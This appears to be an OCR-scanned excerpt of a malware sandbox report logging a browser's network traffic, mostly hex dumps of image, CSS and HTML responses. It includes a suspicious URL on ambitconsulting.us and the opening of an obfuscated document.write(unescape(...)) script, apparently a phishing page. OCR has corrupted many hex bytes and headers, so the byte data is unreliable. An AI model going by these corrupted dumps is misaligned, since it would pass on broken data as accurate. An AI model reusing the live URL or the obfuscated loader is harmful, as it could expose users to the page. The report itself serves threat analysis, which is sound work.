Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 20 20 20
20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 4e 6f 74 20 66 6f 75 6e 64 20 2d 20 5a 6e 61 70
6c 69 6e 6b 20 2d 20 59 6f 75 72 20 6f 6e 6¢ 69 6e 65 20 68 6f 6d 65 70 61 67 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 20 20 20 20
202020 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 70 70 2e 7a 6e 61 70 6¢ 69 6e 6b 2e 63 6f 6d
2f 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2
0 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65
Data Ascii: <IDOCTYPE html><html lang="en"> <head> <title>Not found - Znaplink - Your online homepage</title>
<base href="https://app.znaplink.com/"> <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name

Data Raw: 20 36 38 2e 35 20 33 2e 30 35 31 37 36 65 2d 30 35 43 37 33 2e 32 38 39 36 20 33 2e 30 35 31 37 36 65 2d
30 3520 37 37 2e 37 30 34 37 20 31 2e 33 36 34 36 38 20 38 31 2e 37 31 38 34 20 34 2e 30 34 30 34 36 43 38 35 2e 37
33 32 20 36 2e 37 34 33 20 38 38 2e 38 33 35 39 20 31 30 2e 32 37 35 20 39 30 2e 39 37 36 36 20 31 34 2e 36 36 33 33
43 39 33 2e 37 33 32 36 20 31 33 2e 35 33 39 35 20 39 36 2e 36 32 32 35 20 31 32 2e 39 37 37 36 20 39 39 2e 36 39 39
36 20 31 32 2e 39 37 37 36 43 31 30 36 2e 35 32 33 20 31 32 2e 39 37 37 36 20 31 31 32 2e 33 35 36 20 31 35 2e 35 31
39 36 20 31 31 37 2e 31 39 39 20 32 30 2e 36 33 30 33 43 31 32 32 2e 30 34 32 20 32 35 2e 37 34 31 20 31 32 34 2e 34
35 31 20 33 31 2e 38 39 35 33 20 31 32 34 2e 34 3531 20 33 39 2e 31 3243

Data Ascii: 68.5 3.05176e-05C73.2896 3.05176e-05 77.7047 1.36468 81.7184 4.04046C85.732 6.743 88.8359 10.275
90.9766 14.6633C93.7326 13.5395 96.6225 12.9776 99.6996 12.9776C106.523 12.9776 112.356 15.5196 117.199
20.6303C122.042 25.741 124.451 31.8953 124.451 39.12C

Destination IP Destination Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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kBytes

Timestam
P transferred

2022-05-13 12:56:13 UTC 1117

2022-05-13 12:56:13 UTC 1320

2022-05-13 12:56:13 UTC 1320

Session ID Source IP
27 192.168.2.5
. kBytes
Timestam
p transferred

2022-05-13 12:56:13 UTC 2140

2022-05-13 12:56:14 UTC 2141

2022-05-13 12:56:14 UTC 2141

Session ID Source IP

28 192.168.2.5

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49809

Direction

ouT

Source Port

49818

Data

GET /uploads/logo/81a345d86e9f562ff86bc945747bfl2e.png HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 23 Nov 2021 14:04:57 GMT
ETag: "1723-5d17539ffcced”
Accept-Ranges: bytes

Content-Length: 5923

Cache-Control: max-age=31536000
Expires: Sat, 13 May 2023 12:56:13 GMT
Connection: close

Content-Type: image/png

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 02 16 00 00 00 7b 08 06 00 00 00 28 b2 c9 7e 00 00
00 09 70 48 59 73 00 00 Ob 13 00 00 Ob 13 01 00 9a 9¢ 18 00 00 00 01 73 52 47 42 00 ae ce 1c €9 00 00 00 04 67 41 4d
41 00 00 b1 8f Ob fc 61 05 00 00 16 b8 49 44 41 54 78 01 ed dd 4d 92 1b c5 d6 06 €0 37 65 f3 ¢5 9d dd de 01 c9 Oa c0 b3
2f 2e f6 a5 58 01 66 05 88 39 dO 62 05 2e af c0 32 be 83 3b b3 bc 02 cc 0a 5¢ 8d 1d Oe 66 34 2b 70 b2 83 1e 12 d8 52 dd
3a ca 2a 77 bb 7f 24 e5 5f fd be 4f 44 45 83 a5 56 ab 54 aa ac 53 79 32 4f 2a Oc 4c 79 f7 bb Oc 98 7d 01 a8 Oc Oa ba fa 27
5d 3f 74 86 12 a7 d5 33 fe 00 36 cf d5 ab ff 14 20 22 22 a2 56 29 Oc 84 0d 28 6e 3d a8 de 71 76 €0 af 18 ac 37 0f d5 eb
272b 1011 11 51 2b 06 11 58 94 77 7f a8 02 0a 95 c3 87 aa

Data Ascii: PNGIHDR{(~pHYssRGBgAMAaIDATxM7e/.Xf9b.2;\f4+pR:*w$_ODEVTSy20*Ly}]?t36 "V)(n=qv7'+Q+Xw

Destination IP EULCRI Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /uploads/favicon/f5Sbca4b8ab78370ee3bdal1ff8bef797.png HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 04 Jan 2022 18:53:23 GMT
ETag: "1f15-5d4c626cfce63"
Accept-Ranges: bytes

Content-Length: 7957

Cache-Control: max-age=31536000
Expires: Sat, 13 May 2023 12:56:14 GMT
Connection: close

Content-Type: image/png

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 06 00 00 01 06 08 06 00 00 00 87 35 3b 3¢ 00 00
00 09 70 48 59 73 00 00 Ob 13 00 00 Ob 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c €9 00 00 00 04 67 41 4d
41 00 00 b1 8f Ob fc 61 05 00 00 1e aa 49 44 41 54 78 01 ed dd 09 94 15 e5 95 07 0 ff ad 7a dd dO dd 48 18 5¢ 86 61 1c
43 d4 78 1c 92 28 63 46 d9 7a 79 06 dc 92 b8 8e 68 d4 18 73 26 6a e2 82 ac bd 80 22 4f 94 d0 1b 8b 82 38 a2 66 a2 c6 2
5 a2 66 34 8e 26 06 f1 d1 74 83 e8 c4 51 3 10 63 94 61 1c 62 08 22 21 40 77 43 f7 ab ba 73 ab 40 47 13 d0 a6 a9 7a 5f
55 bd fb 3b a7 1f d5 1c Oe a7 fb bd aa 7f 7d 4b 7d f7 23 a8 c4 el 53 6a 06 a3 8b ab c0 f4 05 30 8e 92 bf 3a 46 be 06 c9 f1
2120 14 cb bl 2b c7 5b 61 d1 26 30 bf 05 e2 b7 el d2 3a f9 bb

Data Ascii: PNGIHDR5;<pHYssRGBgAMAalDATxzH\aCx(cFzyhs&j"08f%f4&tQcab"!|@wCs@Gz_U;}K}#S|0:F! +[a&0:

Destination IP Destination Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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kBytes

Timestam
P transferred

2022-05-13 12:56:15 UTC 2149

2022-05-13 12:56:15 UTC 2150

2022-05-13 12:56:15 UTC 2150

Session ID Source IP
29 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:15 UTC 2149

2022-05-13 12:56:15 UTC 2158

Session ID Source IP
3 192.168.2.5
. kBytes
Timestam,
! P transferred

2022-05-13 12:56:11 UTC 35

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49819

Direction

ouT

Source Port

49787

Direction

ouT

Data

GET /uploads/favicon/f5bca4b8ab78370ee3bdal1ff8bef797.png HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36

Host: app.znaplink.com

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 04 Jan 2022 18:53:23 GMT
ETag: "1f15-5d4c626cfce63"
Accept-Ranges: bytes

Content-Length: 7957

Cache-Control: max-age=31536000
Expires: Sat, 13 May 2023 12:56:15 GMT
Connection: close

Content-Type: image/png

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 06 00 00 01 06 08 06 00 00 00 87 35 3b 3¢ 00 00
00 09 70 48 59 73 00 00 Ob 13 00 00 Ob 13 01 00 9a 9¢ 18 00 00 00 01 73 52 47 42 00 ae ce 1c €9 00 00 00 04 67 41 4d
41 00 00 b1 8f Ob fc 61 05 00 00 1e aa 49 44 41 54 78 01 ed dd 09 94 15 e5 95 07 0 ff ad 7a dd dO dd 48 18 5¢ 86 61 1c
43 d4 78 1c 92 28 63 46 d9 7a 79 06 dc 92 b8 8e 68 d4 18 73 26 6a €2 82 ac bd 80 22 4f 94 dO 1b 8b 82 38 a2 66 a2 c6 2
5 a2 66 34 8e 26 06 f1 d1 74 83 €8 c4 51 €3 10 63 94 61 1c 62 08 22 21 40 77 43 f7 ab ba 73 ab 40 47 13 d0 a6 a9 7a 5f
55 bd fb 3b a7 1f d5 1c Oe a7 fb bd aa 7f 7d 4b 7d {7 23 a8 c4 el 53 6a 06 a3 8b ab c0 f4 05 30 8e 92 bf 3a 46 be 06 c9 f1
2120 14 cb b1 2b ¢7 5b 61 d1 26 30 bf 05 €2 b7 el d2 3a f9 bb

Data Ascii: PNGIHDR5;<pHYssRGBgAMAalDATxzH\aCx(cFzyhs&j"08f%f4&tQcab"!|@wCs@Gz_U;}K}#Sj0:F! +[a&0:

Destination IP LEULC R Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /uploads/avatars/https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2-g/b29c1f6d-97a2-4c09-cfIe-dcaea7596e00/pub
lic HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36

Host: app.znaplink.com

HTTP/1.0 404 Not Found

Date: Fri, 13 May 2022 12:56:15 GMT

Server: Apache/2.4.41 (Ubuntu)

Access-Control-Allow-Origin: https://znap.link

Set-Cookie: PHPSESSID=jgir0acgmca54up98f85ba57ii; path=/; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Destinati
Destination IP ESunation Process

Port
172.67.158.42 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /inter/inter.css HTTP/1.1

Host: rsms.me

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;0=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9
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kBytes

Timestam
P transferred

2022-05-13 12:56:11 UTC 36

2022-05-13 12:56:11 UTC 38

2022-05-13 12:56:11 UTC 38

2022-05-13 12:56:11 UTC 39

2022-05-13 12:56:11 UTC 40

2022-05-13 12:56:11 UTC 42

2022-05-13 12:56:11 UTC 43

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT

Content-Type: text/css; charset=utf-8

Transfer-Encoding: chunked

Connection: close

x-origin-cache: HIT

Last-Modified: Fri, 22 Apr 2022 23:31:22 GMT

Access-Control-Allow-Origin: *

ETag: W/"62633aca-1966"

expires: Fri, 13 May 2022 04:06:35 GMT

Cache-Control: max-age=14400

x-proxy-cache: MISS

X-GitHub-Request-ld: FFDE:DAB4:30A38F:31EB4C:62633AED

Via: 1.1 varnish

Age: 242

X-Served-By: cache-lcy19229-LCY

X-Cache: HIT

X-Cache-Hits: 1

X-Timer: S1650670700.025351,VS0,VE1

Vary: Accept-Encoding

X-Fastly-Request-ID: 69be564bcc3cb52a484588b0b91dc4f727d07a90

CF-Cache-Status: HIT

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:VV/a.nel.cloudflare.com\/report\/v3?s=pnXlaylUED63z6 MKT|QIUL7kGHG77jY 1
5B12GUfzZEWYt%2FEWTnWplwUXWmCHHrzZRwdqwNs6nj2Ej8gTFrV%2Bs9jsdKIXq9SPulZ8oez7dP8svwZIzDBrheGo
JF"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 70ab8d811cd071fa-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 31 39 36 36 0d Oa Oa 2f 2a Oa 46 6f 6e 74 20 66 61 6d 69 6¢ 69 65 73 20 64 65 66 69 6e 65 64 20 62 79 20 74
68 69 73 20 43 53 53 3a 0a Oa 2d 20 22 49 6e 74 65 72 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
61 74 69 63 20 22 74 72 61 64 69 74 69 6f 6e 61 6¢ 22 20 66 6f 6e 74 73 20 66 6f 72 20 6f 6¢ 64 65 72 20 77 65 62 20 62
72 6f 77 73 65 72 73 0a 2d 20 22 49 6e 74 65 72 20 76 61 72 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 69 6e 67
6c 65 2d 61 78 69 73 20 76 61 72 69 61 62 6¢ 65 20 66 6f 6e 74 73 20 66 6f 72 20 61 6¢ 6¢ 20 6d 6f 64 65 72 6€ 20 62 72
6f 77 73 65 72 73 0a 2d 20 22 49 6e 74

Data Ascii: 1966/*Font families defined by this CSS:- “Inter" static “traditional” fonts for older web browsers-
"Inter var" single-axis variable fonts for all modern browsers- "Int

Data Raw: 65 72 20 76 61 72 20 65 78 70 65 72 69 6d 65 6e 74 61 6¢ 22 20 6d 75 6¢ 74 69 2d 61 78 69 73 20 76 61 72
69 61 62 6¢ 65 20 66 6f 6e 74 73 20 66 6f 72 20 6d 6f 64 65 72 6e 20 77 65 62 20 62 72 6f 77 73 65 72 73 Oa Oa 55 73 65
20 6¢ 69 6b 65 20 74 68 69 73 20 69 6e 20 79 6f 75 72 20 43 53 53 3a Oa Oa 20 20 3a 72 6f 6f 74 20 7b 20 66 6f 6e 74 2d
66 61 6d 69 6¢ 79 3a 20 27 49 6e 74 65 72 27 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 7d 0a 20 20 40 73 75 70 70 6f
72 74 73 20 28 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 3a 20 6e 6f 72 6d 61 6¢ 29 20 7b 0
a 20 20 20 20 3a 72 6f 6f 74 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 27 49 6e 74 65 72 20 76 61 72 27 2¢ 20 73
61 6e 73 2d 73 65 72 69 66 3b 20 7d 0a 20 20 7d Oa Oa 2d 2d 2d 2d

Data Ascii: er var experimental” multi-axis variable fonts for modern web browsersUse like this in your CSS: :root { font-
family: 'Inter’, sans-serif; } @supports (font-variation-settings: normal) { :root { font-family: ‘Inter var', sans-serif; } }----

Data Raw: 67 68 74 3a 20 33 30 30 3b Oa 20 20 66 6f 6e 74 2d 64 69 73 70 6¢ 61 79 3a 20 73 77 61 70 3b 0a 20 20 73
72 633a 20 75 72 6¢ 28 22 66 6f 6e 74 2d 66 69 6¢ 65 73 2f 49 6e 74 65 72 2d 4c 69 67 68 74 2e 77 6f 66 66 32 3f 76 3d
33 2e 31392229 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2¢ 0a 20 20 20 20 20 20 20 75 72 6¢ 28 22 66 6f 6e 74
2d 66 69 6¢ 65 73 2f 49 6e 74 65 72 2d 4c 69 67 68 74 2e 77 6f 66 66 3f 76 3d 33 2e 31 39 22 29 20 66 6f 72 6d 61 74 28
22 77 6f 66 66 22 29 3b 0a 7d Oa 40 66 6f 6e 74 2d 66 61 63 65 20 7b Oa 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20
27 49 6e 74 65 72 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 20 20 69 74 61 6¢ 69 63 3b Oa 20 20 66 6f 6e 74 2d 7
7 6569 67 68 74 3a 20 33 30 30 3b Oa 20 20 66 6f 6e 74 2d 64 69

Data Ascii: ght: 300; font-display: swap; src: url(*font-files/Inter-Light.woff2?v=3.19") format("woff2"), url(“font-files
/Inter-Light.woff?v=3.19") format("woff");}@font-face { font-family: 'Inter’; font-style: italic; font-weight: 300; font-di

Data Raw: 74 28 22 77 6f 66 66 22 29 3b 0a 7d Oa Oa 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61
6d 69 6¢ 79 3a 20 27 49 6e 74 65 72 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 20 20 6e 6f 72 6d 61 6¢ 3b 0a 20
20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b Oa 20 20 66 6f 6e 74 2d 64 69 73 70 6¢ 61 79 3a 20 73 77 61 70
3b 0a 20 20 73 72 63 3a 20 75 72 6¢ 28 22 66 6f 6e 74 2d 66 69 6¢ 65 73 2f 49 6e 74 65 72 2d 53 65 6d 69 42 6f 6¢ 64 2e
77 6f 66 66 32 3f 76 3d 33 2e 31 39 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 0a 20 20 20 20 20 20 20 75
72 6¢ 28 22 66 6f 6e 74 2d 66 69 6¢ 65 73 2f 49 6e 74 65 72 2d 53 65 6d 69 42 6f 6¢ 64 2e 77 6f 66 66 3f 76 3d 33 2e 31
39 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 3b Oa 7d

Data Ascii: t("woff");}@font-face { font-family: ‘Inter’; font-style: normal; font-weight: 600; font-display: swap; src: url
(“font-files/Inter-SemiBold.woff2?v=3.19") format("woff2"), url(*font-files/Inter-SemiBold.woff?v=3.19") format("woff");}

Data Raw: 74 72 61 42 6f 6¢ 64 49 74 61 6¢ 69 63 2e 77 6f 66 66 32 3f 76 3d 33 2e 31 39 22 29 20 66 6f 72 6d 61 74 28
2277 6f 66 66 32 22 29 2¢ 0a 20 20 20 20 20 20 20 75 72 6¢ 28 22 66 6f 6e 74 2d 66 69 6¢ 65 73 2f 49 6e 74 65 72 2d 45
787472 61 42 6f 6¢ 64 49 74 61 6¢ 69 63 2e 77 6f 66 66 3f 76 3d 33 2e 31 39 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66
66 22 29 3b Oa 7d Oa Oa 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 27 49 6e
74 65 72 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 20 20 6e 6f 72 6d 61 6¢ 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67
68 74 3a 20 39 30 30 3b 0a 20 20 66 6f 6e 74 2d 64 69 73 70 6¢ 61 79 3a 20 73 77 61 70 3b 0a 20 20 73 72 63 3a 20 75
72 6¢ 28 22 66 6f 6e 74 2d 66 69 6¢ 65 73 2f 49 6e 74 65 72 2d

Data Ascii: traBoldltalic.woff2?v=3.19") format("woff2"), url(“font-files/Inter-ExtraBoldItalic.woff?v=3.19") format("woff")
;}@font-face { font-family: 'Inter’; font-style: normal; font-weight: 900; font-display: swap; src: url(“font-files/Inter-

Data Raw: 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 20 65 78 70 6¢ 69 63 69 74 6¢ 79 2¢ 20 65 2e 67 3a Oa 20 20 2a
20 7b 20 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 3a 20 22 73 6¢ 6e 74 22 20 30 64 65 67
20 7d 0a 20 20 2e 69 74 61 6¢ 69 63 20 7b 20 66 6f 6e 74 2d 76 61 72 69 61 74 69 6f 6e 2d 73 65 74 74 69 6e 67 73 3a
20 22 73 6¢ 6e 74 22 20 31 30 64 65 67 20 7d Oa 2a 2f 0a 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2
d 66 61 6d 69 6¢ 79 3a 20 27 49 6e 74 65 72 20 76 61 72 20 65 78 70 65 72 69 6d 65 6e 74 61 6¢ 27 3b Oa 20 20 66 6f 6e
74 2d 73 74 79 6¢ 65 3a 20 6f 62 6¢ 69 71 75 65 20 30 64 65 67 20 31 30 64 65 67 3b 0a 20 20 66 6f 6e 74 2d 77 65 69
67 68 74 3a 20 31 30 30 20 39 30 30 3b Oa 20 20 66 6f 6e 74 2d 64 69

Data Ascii: iation-settings explicitly, e.g: * { font-variation-settings: "sInt" Odeg } .italic { font-variation-settings: "sInt"

10deg }/@font-face { font-family: 'Inter var experimental’; font-style: oblique Odeg 10deg; font-weight: 100 900; font-di

Page 102 of 131



kBytes

Timestam
P transferred

2022-05-13 12:56:11 UTC 44

Session ID Source IP
30 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:15 UTC 2158

2022-05-13 12:56:16 UTC 2158

2022-05-13 12:56:16 UTC 2159

Session ID Source IP
31 192.168.2.5
. kBytes
Tim m|
estamp transferred

2022-05-13 12:56:23 UTC 2164

2022-05-13 12:56:23 UTC 2165

2022-05-13 12:56:23 UTC 2165

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49821

Direction

ouT

Source Port

49828

Direction

ouT

Data

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Destination IP Destination Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /uploads/logo/81a345d86e9f562ff86bc945747bf12e.png HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36

Host: app.znaplink.com

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 23 Nov 2021 14:04:57 GMT
ETag: "1723-5d17539ffcced”
Accept-Ranges: bytes

Content-Length: 5923

Cache-Control: max-age=31536000
Expires: Sat, 13 May 2023 12:56:15 GMT
Connection: close

Content-Type: image/png

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 02 16 00 00 00 7b 08 06 00 00 00 28 b2 c9 7e 00 00
00 09 70 48 59 73 00 00 Ob 13 00 00 Ob 13 01 00 9a 9¢ 18 00 00 00 01 73 52 47 42 00 ae ce 1c €9 00 00 00 04 67 41 4d
41 00 00 b1 8f Ob fc 61 05 00 00 16 b8 49 44 41 54 78 01 ed dd 4d 92 1b c5 d6 06 €0 37 65 f3 c¢5 9d dd de 01 c9 0a c0 b3
2f 2e f6 a5 58 01 66 05 88 39 d0 62 05 2e af c0 32 be 83 3b b3 bc 02 cc 0a 5¢ 8d 1d Oe 66 34 2b 70 b2 83 1e 12 d8 52 dd
3a ca 2a 77 bb 7f 24 e5 5f fd be 4f 44 45 83 a5 56 ab 54 aa ac 53 79 32 4f 2a Oc 4c 79 f7 bb Oc 98 7d 01 a8 Oc Oa ba fa 27
5d 3f 74 86 12 a7 d5 33 fe 00 36 cf d5 ab ff 14 20 22 22 a2 56 29 Oc 84 0d 28 6e 3d a8 de 71 76 €0 af 18 ac 37 0f d5 eb
272b 1011 11 51 2b 06 11 58 94 77 7f a8 02 0a 95 c3 87 aa

Data Ascii: PNGIHDR{(~pHYssRGBgAMAaIDATxM7e/.Xf9b.2;\f4+pR:*w$_ODEVTSy20*Ly}]?t36 “V)(n=qv7'+Q+Xw

Destination

Destination IP Process

Port
107.180.51.16 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /jkadnmadiuya/quad/ HTTP/1.1

Host: ambitconsulting.us

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:23 GMT
Server: Apache

X-Powered-By: PHP/7.4.29

Upgrade: h2,h2c

Connection: Upgrade, close

Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

Data Raw: 34 30 30 30 0d Oa 3c 68 74 6d 6¢ 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 6a 61
76 6173 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 68 65
61 64 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 6d 65 74 61 25 32 30 63 68 61 72 73 65 74 25 33
44 25 32 32 55 54 46 2d 38 25 32 32 25 32 30 6e 61 6d 65 25 33 44 25 32 32 76 69 65 77 70 6f 72 74 25 32 32 25 32 30
63 6f 6e 74 65 6e 74 25 33 44 25 32 32 77 69 64 74 68 25 33 44 64 65 76 69 63 65 2d 77 69 64 74 68 25 32 43 25 32 30
69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 25 33 44 31 2e 30 25 32 43 25 32 30 6d 61 78 69 6d 75 6d 2d 73 63 61 6C 65 25
3344 31 2e 30 25 32 43 25 32 30 6d 69 6e 69 6d 75 6d 2d 73 63 61 6¢ 65 25

Data Ascii: 4000<html><script language=javascript>document.write(unescape('%3Chead%3E%0A%20%20%20%20
%3Cmeta%20charset%3D%22UTF-8%22%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-widt
h%2C%20initial-scale%3D1.0%2C%20maximum-scale%3D1.0%2C%20minimum-scale%
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Timestamp transferred Direction
2022-05-13 12:56:24 UTC 2173 IN
2022-05-13 12:56:24 UTC 2181 IN
2022-05-13 12:56:24 UTC 2181 IN
2022-05-13 12:56:24 UTC 2189 IN
2022-05-13 12:56:24 UTC 2197 IN
2022-05-13 12:56:24 UTC 2197 IN
2022-05-13 12:56:24 UTC 2205 IN
2022-05-13 12:56:24 UTC 2213 IN
2022-05-13 12:56:24 UTC 2213 IN
2022-05-13 12:56:24 UTC 2221 IN
2022-05-13 12:56:24 UTC 2229 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 53 32 57 37 70 32 73 30 36 72 72 76 2f 5a 73 6b 47 2b 2f 77 45 44 31 63 6¢ 6a 61 53 75 54 32 53 6f 39 66 76
58 56 6e 4e 42 58 79 4e 58 4b 52 32 35 42 52 2b 56 61 72 67 57 54 70 44 7a 45 65 53 34 50 35 41 48 48 65 58 6e 49 63
514558 75 71 43 6a 68 57 66 76 56 76 37 48 78 63 50 73 34 62 63 50 64 37 30 2f 41 61 48 46 45 73 49 41 41 48 69 63
59 32 42 6b 59 47 42 67 53 76 52 34 32 37 70 72 55 54 79 2f 7a 56 63 47 62 67 34 47 45 4e 6a 2f 39 32 41 44 69 4c 34 6
1647373565248 4d 77 67 4d 55 35 47 5a 68 41 46 41 42 6e 45 77 71 50 41 41 42 34 6e 47 4e 67 5a 47 44 67 59 41
41 42 4f 4d 6e 49 67 41 71 59 41 41 4c 4b 41 42 30 41 41 41 41 46 4b 67 43 6d 43 41 41 41 38 77 44 54 41 41 41 41 41
414141 41 41 41 41 46 67 41 34 41 45 34 41 72 67 45 45 41 58 49 41 41

